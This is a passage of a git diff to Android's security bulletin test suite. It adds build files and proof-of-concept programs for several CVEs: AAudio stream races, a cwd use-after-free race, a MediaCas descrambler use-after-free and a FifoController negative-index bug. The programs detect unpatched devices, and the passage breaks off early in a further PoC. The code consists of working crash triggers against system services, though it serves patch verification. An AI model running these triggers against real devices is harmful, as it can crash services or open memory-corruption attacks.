-LOCAL_SRC_FILES += ../../../../../external/libavc/test/encoder/recon.c
-LOCAL_MULTILIB := 64
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_C_INCLUDES_64 := external/libavc/common
-LOCAL_C_INCLUDES_64 += external/libavc/encoder
-LOCAL_SHARED_LIBRARIES_64 := liblog
-LOCAL_SHARED_LIBRARIES_64 += libstagefright_soft_avcenc
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -DPROFILE_ENABLE -fPIC -DMD5_DISABLE -Wno-unused-variable
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
new file mode 100644
index 0000000..40e7e27
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2018-9428
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libaaudio/src
+LOCAL_C_INCLUDES += frameworks/av/media/libaaudio/include
+LOCAL_SHARED_LIBRARIES := libmedia
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS := -Wall -Werror -Wno-multichar -fpermissive
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
new file mode 100644
index 0000000..19b752f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9428/poc.cpp
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <binder/IServiceManager.h>
+#include <binder/IPCThreadState.h>
+#include "binding/IAAudioService.h"
+
+using namespace android;
+using namespace aaudio;
+
+typedef struct _thread_args {
+    aaudio_handle_t aaudioHandle;
+    sp<IAAudioService> aas;
+} thread_args;
+
+static void* closeStreamThread(void *arg) {
+    thread_args *threadArgs = (thread_args*) arg;
+    if (threadArgs) {
+        if (threadArgs->aas != nullptr) {
+            threadArgs->aas->closeStream(threadArgs->aaudioHandle);
+        }
+    }
+    return nullptr;
+}
+
+static void* startStreamThread(void *arg) {
+    thread_args *threadArgs = (thread_args*) arg;
+    if (threadArgs) {
+        if (threadArgs->aas != nullptr) {
+            threadArgs->aas->startStream(threadArgs->aaudioHandle);
+        }
+    }
+    return nullptr;
+}
+
+int main() {
+    thread_args targs;
+    sp < IServiceManager > sm = defaultServiceManager();
+    sp < IBinder > binder = sm->getService(String16("media.aaudio"));
+    targs.aas = interface_cast < IAAudioService > (binder);
+    if (targs.aas == nullptr) {
+        return EXIT_FAILURE;
+    }
+    aaudio::AAudioStreamRequest request;
+    request.getConfiguration().setSharingMode(AAUDIO_SHARING_MODE_SHARED);
+    request.getConfiguration().setDeviceId(0);
+    request.getConfiguration().setSampleRate(AAUDIO_UNSPECIFIED);
+
+    time_t currentTime = start_timer();
+    while(timer_active(currentTime)) {
+        pthread_t pt[2];
+
+        aaudio::AAudioStreamConfiguration configurationOutput;
+        targs.aaudioHandle = targs.aas->openStream(request,
+                                                   configurationOutput);
+        pthread_create(&pt[0], nullptr, closeStreamThread, &targs); /* close stream */
+        pthread_create(&pt[1], nullptr, startStreamThread, &targs); /* start stream */
+
+        sleep(5);
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
index cf7cc2e..95acb7a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/Android.mk
@@ -21,10 +21,7 @@
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_C_INCLUDES := \
-    frameworks/av/include/ndk/ \
-    frameworks/av/media/ndk/include/ \
-
+LOCAL_C_INCLUDES := frameworks/av/media/ndk/include/media/
 LOCAL_SHARED_LIBRARIES := libmediandk
 LOCAL_SHARED_LIBRARIES += liblog
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
index 09f47b1..adc3508 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9491/poc.cpp
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 #include <stdlib.h>
-#include "media/NdkMediaCodec.h"
+#include "NdkMediaCodec.h"
 #include "../includes/common.h"
 #define NUM_SUB_SAMPLES ((SIZE_MAX / (sizeof(size_t)*2) - 34) + 32)
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..d8f3471
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+  char cwd_path[100];
+  sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    char symlink_target[1000];
+    int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+    if (len > 0) {
+      symlink_target[len] = 0;
+    }
+  }
+
+  return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+  if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+      err(1, "chdir");
+  rmdir("subdir");
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir("subdir", 0777))
+      err(1, "mkdir");
+    if (chdir("subdir"))
+      err(1, "chdir");
+    if (rmdir("../subdir"))
+      err(1, "rmdir");
+    if (chdir(".."))
+      err(1, "chdir");
+  }
+
+  return NULL;
+}
+
+int main(void) {
+  looper_pid = syscall(__NR_gettid);
+
+  pthread_t thread;
+  if (pthread_create(&thread, NULL, uaf_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  pthread_t thread2;
+  if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  char my_dir_name[100];
+  sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+  rmdir(my_dir_name);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir(my_dir_name, 0777))
+      err(1, "looper: mkdir");
+    if (rmdir(my_dir_name))
+      err(1, "looper: rmdir");
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    android.hardware.cas@1.0 \
+    android.hardware.cas.native@1.0 \
+    libhidlbase \
+    libhidltransport \
+    libhwbinder \
+    libbinder \
+    libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..0b464e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+  RESULT_CRASH,
+  RESULT_SESSION1,
+  RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+    "{                                                   "
+    "  \"id\": 21140844,                                 "
+    "  \"name\": \"Test Title\",                         "
+    "  \"lowercase_organization_name\": \"Android\",     "
+    "  \"asset_key\": {                                  "
+    "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
+    "  },                                                "
+    "  \"cas_type\": 1,                                  "
+    "  \"track_types\": [ ]                              "
+    "}                                                   ";
+static const uint8_t ecm_buffer[] = {
+    0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+    0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+    0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+    0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+    0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+    0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+  // Prepare everything needed for an encrypted run of descramble
+
+  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+  native_handle_t *handle = native_handle_create(1, 0);
+  handle->data[0] = heap->getHeapID();
+
+  SharedBuffer src;
+  src.offset = 0;
+  src.size = 0x1000;
+  src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+  DestinationBuffer dst;
+  dst.type = BufferType::SHARED_MEMORY;
+  dst.nonsecureMemory = src;
+
+  hidl_vec<SubSample> subsamples;
+  SubSample subsample_arr[0x100] = {
+      {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+  subsamples.setToExternal(subsample_arr, 0x100);
+
+  Status descramble_status;
+
+  // Wait for all other threads
+  pthread_barrier_wait(&barrier);
+
+  // Run descramble
+  Return<void> descramble_result = descrambler->descramble(
+      ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+      [&](Status status, uint32_t, const hidl_string &) {
+        descramble_status = status;
+      });
+
+  // Cleanup
+  native_handle_delete(handle);
+
+  if (!descramble_result.isOk()) {
+    // Service crashed, hurray!
+    return (void *)RESULT_CRASH;
+  }
+
+  // If descramble was successful then the session had a valid key, so it was
+  // session1. Otherwise it was session2.
+  return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+                                                  : RESULT_SESSION2);
+}
+
+int main() {
+  // Prepare cas & descrambler objects
+
+  sp<IMediaCasService> service = IMediaCasService::getService();
+  FAIL_CHECK(service != NULL);
+
+  sp<ICas> cas = service->createPlugin(CLEARKEY_SYSTEMID, NULL);
+  FAIL_CHECK(cas->provision(provision_str) == Status::OK)
+
+  sp<IDescramblerBase> descramblerBase =
+      service->createDescrambler(CLEARKEY_SYSTEMID);
+  descrambler = IDescrambler::castFrom(descramblerBase);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    // Prepare sessions
+    Status opensession_status;
+    hidl_vec<uint8_t> session1;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session1 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+    // Add a key to the first session. This will make descramble work only on
+    // the first session, helping us differentiate between the sessions for
+    // debugging.
+    hidl_vec<uint8_t> ecm;
+    ecm.setToExternal((uint8_t *)ecm_buffer, sizeof(ecm_buffer));
+    FAIL_CHECK(cas->processEcm(session1, ecm) == Status::OK);
+
+    hidl_vec<uint8_t> session2;
+    cas->openSession([&](Status status, const hidl_vec<uint8_t> &sessionId) {
+      opensession_status = status;
+      session2 = sessionId;
+    });
+    FAIL_CHECK(opensession_status == Status::OK);
+
+    // Set the descrambler's session to session1, then close it (and remove it
+    // from the sessions map). This way the only reference on the service to
+    // session1 will be from descrambler's session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session1) == Status::OK);
+    FAIL_CHECK(cas->closeSession(session1) == Status::OK);
+
+    // Prepare the threads which run descramble
+    FAIL_CHECK(pthread_barrier_init(&barrier, NULL, THREADS_NUM + 1) == 0);
+    pthread_t threads[THREADS_NUM];
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      FAIL_CHECK(pthread_create(threads + i, NULL, thread_func, NULL) == 0);
+    }
+
+    // Let the threads run by waiting on the barrier. This means that past this
+    // point all threads will run descramble.
+    pthread_barrier_wait(&barrier);
+
+    // While the threads are running descramble, change the descrambler session
+    // to session2. Hopefully this will cause a use-after-free through a race
+    // condition, session1's reference count will drop to 0 so it will be
+    // released, but one thread will still run descramble on the released
+    // session.
+    FAIL_CHECK(descrambler->setMediaCasSession(session2) == Status::OK);
+
+    // Go over thread results
+    for (size_t i = 0; i < THREADS_NUM; i++) {
+      thread_result_t thread_result;
+      FAIL_CHECK(pthread_join(threads[i], (void **)&thread_result) == 0);
+      if (thread_result == RESULT_CRASH) {
+        return EXIT_VULNERABLE;
+      }
+    }
+
+    // Cleanup
+    FAIL_CHECK(cas->closeSession(session2) == Status::OK);
+    FAIL_CHECK(pthread_barrier_destroy(&barrier) == 0);
+  }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
new file mode 100644
index 0000000..000c4c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2007
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libaaudio/src
+LOCAL_SHARED_LIBRARIES := libaaudio
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror -Wno-constant-conversion
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
new file mode 100644
index 0000000..b7db061
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2007/poc.cpp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "fifo/FifoBuffer.h"
+#include "fifo/FifoController.h"
+#include "../includes/common.h"
+#include <stdlib.h>
+#define CAPACITY 83
+#define THRESHOLD 47
+#define NUM_FRAMES -9999999999
+
+using android::FifoController;
+
+int main (){
+    FifoController fifoController(CAPACITY, THRESHOLD);
+    fifoController.advanceReadIndex(NUM_FRAMES);
+    fifoController.advanceWriteIndex(NUM_FRAMES);
+    int32_t readIndex = fifoController.getReadIndex();
+    int32_t writeIndex = fifoController.getWriteIndex();
+
+    if ((readIndex < 0) || (writeIndex < 0)) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
new file mode 100644
index 0000000..9e62920
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2019-2025
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    libcutils \
+    libsensor \
+    libbase \
+    libbinder \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
new file mode 100644
index 0000000..38169fd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/IPCThreadState.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2005 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef ANDROID_IPC_THREAD_STATE_H
+#define ANDROID_IPC_THREAD_STATE_H
+
+#include <utils/Errors.h>
+#include <binder/Parcel.h>
+#include <binder/ProcessState.h>
+#include <utils/Vector.h>
+
+#if defined(_WIN32)
+typedef  int  uid_t;
+#endif
+
+// ---------------------------------------------------------------------------
+namespace android {
+
+class IPCThreadState
+{
+public:
+    static  IPCThreadState*     self();
+    static  IPCThreadState*     selfOrNull();  // self(), but won't instantiate
+    
+            sp<ProcessState>    process();
+            
+            status_t            clearLastError();
+
+            pid_t               getCallingPid() const;
+            uid_t               getCallingUid() const;
+
+            void                setStrictModePolicy(int32_t policy);
+            int32_t             getStrictModePolicy() const;
+
+            void                setLastTransactionBinderFlags(int32_t flags);
+            int32_t             getLastTransactionBinderFlags() const;
+
+            int64_t             clearCallingIdentity();
+            void                restoreCallingIdentity(int64_t token);
+            
+            int                 setupPolling(int* fd);
+            status_t            handlePolledCommands();
+            void                flushCommands();
+
+            void                joinThreadPool(bool isMain = true);
+            
+            // Stop the local process.
+            void                stopProcess(bool immediate = true);
+            
+            status_t            transact(int32_t handle,
+                                         uint32_t code, const Parcel& data,
+                                         Parcel* reply, uint32_t flags);
+
+            void                incStrongHandle(int32_t handle, BpBinder *proxy);
+            void                decStrongHandle(int32_t handle);
+            void                incWeakHandle(int32_t handle, BpBinder *proxy);
+            void                decWeakHandle(int32_t handle);
+            status_t            attemptIncStrongHandle(int32_t handle);
+    static  void                expungeHandle(int32_t handle, IBinder* binder);
+            status_t            requestDeathNotification(   int32_t handle,
+                                                            BpBinder* proxy); 
+            status_t            clearDeathNotification( int32_t handle,
+                                                        BpBinder* proxy); 
+
+    static  void                shutdown();
+
+    // Call this to disable switching threads to background scheduling when
+    // receiving incoming IPC calls.  This is specifically here for the
+    // Android system process, since it expects to have background apps calling
+    // in to it but doesn't want to acquire locks in its services while in
+    // the background.
+    static  void                disableBackgroundScheduling(bool disable);
+            bool                backgroundSchedulingDisabled();
+
+            // Call blocks until the number of executing binder threads is less than
+            // the maximum number of binder threads threads allowed for this process.
+            void                blockUntilThreadAvailable();
+    static  void                freeBuffer(Parcel* parcel,
+                                           const uint8_t* data, size_t dataSize,
+                                           const binder_size_t* objects, size_t objectsSize,
+                                           void* cookie);
+    static  void                freeBuffer1(Parcel* parcel,
+                                       const uint8_t* data, size_t dataSize,
+                                       const binder_size_t* objects, size_t objectsSize,
+                                       void* cookie);
+private:
+                                IPCThreadState();
+                                ~IPCThreadState();
+
+            status_t            sendReply(const Parcel& reply, uint32_t flags);
+            status_t            waitForResponse(Parcel *reply,
+                                                status_t *acquireResult=NULL);
+            status_t            talkWithDriver(bool doReceive=true);
+            status_t            writeTransactionData(int32_t cmd,
+                                                     uint32_t binderFlags,
+                                                     int32_t handle,
+                                                     uint32_t code,
+                                                     const Parcel& data,
+                                                     status_t* statusBuffer);
+            status_t            getAndExecuteCommand();
+            status_t            executeCommand(int32_t command);
+            void                processPendingDerefs();
+            void                processPostWriteDerefs();
+
+            void                clearCaller();
+
+    static  void                threadDestructor(void *st);
+    
+    const   sp<ProcessState>    mProcess;
+            Vector<BBinder*>    mPendingStrongDerefs;
+            Vector<RefBase::weakref_type*> mPendingWeakDerefs;
+            Vector<RefBase*>    mPostWriteStrongDerefs;
+            Vector<RefBase::weakref_type*> mPostWriteWeakDerefs;
+            Parcel              mIn;
+            Parcel              mOut;
+            status_t            mLastError;
+            pid_t               mCallingPid;
+            uid_t               mCallingUid;
+            int32_t             mStrictModePolicy;
+            int32_t             mLastTransactionBinderFlags;
+};
+
+}; // namespace android
+
+// ---------------------------------------------------------------------------
+
+#endif // ANDROID_IPC_THREAD_STATE_H
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
new file mode 100644
index 0000000..48ece98
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/poc.cpp
@@ -0,0 +1,183 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+
+#if _64BIT
+
+#include <cutils/ashmem.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sensor/ISensorEventConnection.h>
+#include <sensor/ISensorServer.h>
+#include <sensor/Sensor.h>
+#include <stdio.h>
+#include <stdlib.h>
